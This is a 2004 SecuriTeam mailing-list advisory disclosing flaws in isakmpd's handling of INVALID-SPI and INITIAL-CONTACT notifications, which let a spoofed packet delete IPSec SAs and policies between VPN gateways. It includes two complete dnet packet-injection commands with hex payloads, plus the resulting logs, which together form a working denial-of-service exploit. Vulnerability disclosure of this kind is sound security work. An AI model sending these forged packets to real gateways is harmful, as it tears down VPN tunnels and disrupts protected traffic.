[NEWS] Multiple Payload Handling Flaws in ISAKMPd (Continued)

From: SecuriTeam (support_at_securiteam.com)
Date: 01/07/04

  • Next message: SecuriTeam: "[NT] Microsoft IIS Logging Failure" 
    To: list@securiteam.com
Date: 7 Jan 2004 17:13:53 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Multiple Payload Handling Flaws in ISAKMPd (Continued)
    ------------------------------------------------------------------------

    SUMMARY

    On 2003/11/06 a bug fix for a payload handling flaw in isakmpd described
    in <http://www.securiteam.com/securitynews/6F006158UW.html> Multiple
    Payload Handling Flaws in ISAKMPd was committed to CVS. Other payload
    handling flaws, which were not presented on a silver platter, but only
    mentioned in side notes, remain unfixed.

    This posting will point out two other payload-handling flaws in isakmpd,
    which can be exploited with an ease. It is meant to put pressure on the
    developers of IKE daemons to review their software, which might become
    crucial in the future.

    DETAILS

    Affected Systems:
    All versions of isakmpd are affected. Other well-known free IKE daemons
    are not affected.

    isakmpd's reaction upon receipt of INVALID-SPI notifications:
    On receipt of an INVALID-SPI notification, isakmpd deletes the IPSec SA
    referred to by the SPI contained in the notification data and all
    "associated" IPSec SAs, if the ISAKMP message originates from the right IP
    address. See section 4.1, RFC 2408 section 5.5, and IPSec.c for further
    details.

    Nota Bene: This reaction upon receipt of an INVALID-SPI notification is
    complete nonsense.

    isakmpd accepting INITIAL-CONTACT nearly everywhere:
    When isakmpd receives an INITIAL-CONTACT notification chained to other
    "reasonable" payload, it deletes all IPSec SAs pointing to the source IP
    address of the ISAKMP message and all "associated" IPSec SAs. isakmpd
    ignores INITIAL-CONTACT notifications sent in an informational exchange.
    See section 4.2, RFC 2407 section 4.6.3.3, and IPSec.c for further
    details.

    Leveraging the Issues:
    The following scenario is assumed. There are two VPN gateways vpn-gw-a and
    vpn-gw-b, which have established an IPSec tunnel. The attacker tries to
    trigger unauthorized deletion of IPSec SAs on vpn-gw-a

        .. ---[ vpn-gw-a ]------[ vpn-gw-b ]--- ..
            \========= IPSec tunnel =========/

    Using INVALID-SPI:
    Someone starts isakmpd on vpn-gw-a:
          vpn-gw-a# isakmpd -d -DA=30

    vpn-gw-a and vpn-gw-b establish a IPSec tunnel using IKE. The IKE daemons
    install appropriate IPSec SAs (and policies):
             vpn-gw-a# cat /kern/IPSec | grep SPI
          SPI = 53fc575b, Destination = <vpn-gw-b's IP address>, Sproto = 50
          SPI = 01627f3c, Destination = <vpn-gw-a's IP address>, Sproto = 50

    The attacker does some network sniffing to learn the SPI of IPSec SA
    pointing to vpn-gw-b (that is quite easy, because it's contained in the
    AH/ESP header) and injects his "deadly" packet:
          attacker# dnet hex \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x00" \
    > "\x0b\x10\x05\x00" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x2c" \
    > "\x00\x00\x00\x10" \
    > "\x00\x00\x00\x01" \
    > "\x03\x00\x00\x0b" \
    > "\x53\xfc\x57\x5b" |
          pipe> dnet udp sport 500 dport 500 |
          pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
          pipe pipe pipe> dnet send

    Note: The example ISAKMP message is complete crap, but it seems to be good
    enough for isakmpd.

    isakmpd auto-magically deletes the IPSec SAs:
          vpn-gw-a# # cat /kern/IPSec
          Hashmask: 31, policy entries: 0

    Moreover, it informs you about it:
          075542.992984 Exch 10 IPSec_responder: got NOTIFY of type
    INVALID_SPI
          075543.000662 SA 30 IPSec_delete_spi_list: INVALID_SPI made us
    delete SA 0x1b1600 (3 references) for proto 0

    There is one important thing we should mention. In isakmpd, deleting an
    IPSec SA also means deleting the appropriate IPSec policy in almost any
    case. Take a look at pf_key_v2_delete_spi() in pf_key_v2.c. It calls
    pf_key_v2_disable_sa(), the policy eraser, if the SA was not acquired
    through the kernel:
      if (!(sa->flags & SA_FLAG_REPLACED)
          && !(sa->flags & SA_FLAG_ONDEMAND))
        pf_key_v2_disable_sa (sa, incoming);

    Now imagine an IPSec tunnel between two security gateways running isakmpd.
    Both gateways are attacked IPSec SAs and policies get removed.

    Using INITIAL-CONTACT:
    This attack is much easier (again, an IPSec tunnel is established):
          vpn-gw-a# cat /kern/IPSec | grep SPI
          SPI = 1d4f3865, Destination = <vpn-gw-a's IP address>, Sproto = 50
          SPI = f7b3944c, Destination = <vpn-gw-b's IP address>, Sproto = 50

    The attacker injects an ISAKMP message pretending to initiate a Main Mode
    exchange between vpn-gw-b and vpn-gw-a with an INITIAL-CONTACT
    notification chained to it:
          attacker# dnet hex \
    > "\x17\x17\x17\x17" \
    > "\x17\x17\x17\x17" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x00" \
    > "\x01\x10\x02\x00" \
    > "\x00\x00\x00\x00" \
    > "\x00\x00\x00\x54" \
    > "\x0b\x00\x00\x2c" \
    > "\x00\x00\x00\x01" \
    > "\x00\x00\x00\x01" \
    > "\x00\x00\x00\x20" \
    > "\x01\x01\x00\x01" \
    > "\x00\x00\x00\x18" \
    > "\x01\x01\x00\x00" \
    > "\x80\x01\x00\x05" \
    > "\x80\x02\x00\x02" \
    > "\x80\x03\x00\x03" \
    > "\x80\x04\x00\x02" \
    > "\x00\x00\x00\x0c" \
    > "\x00\x00\x00\x01" \
    > "\x01\x00\x60\x02" |
          pipe> dnet udp sport 500 dport 500 |
          pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
          pipe pipe pipe> dnet send

    If the isakmpd finds an acceptable proposal in message injected by the
    attacker, it tries to advance the exchange and deletes all IPSec SAs
    pointing to vpn-gw-b and all "associated" IPSec SAs:
          vpn-gw-a# cat /kern/IPSec
          Hashmask: 31, policy entries: 0

    Moreover, it does some logging:
          081412.393202 SA 30 IPSec_handle_leftover_payload: INITIAL-CONTACT
    made us delete SA 0x1b1600
          081412.399786 SA 30 IPSec_handle_leftover_payload: INITIAL-CONTACT
    made us delete SA 0x1b1200

    Nota Bene: You can include a large proposal payload with all possible
    transforms, so isakmpd will find one acceptable.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:thomas@thinknerd.de> Thomas
    Walpuski.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] Microsoft IIS Logging Failure"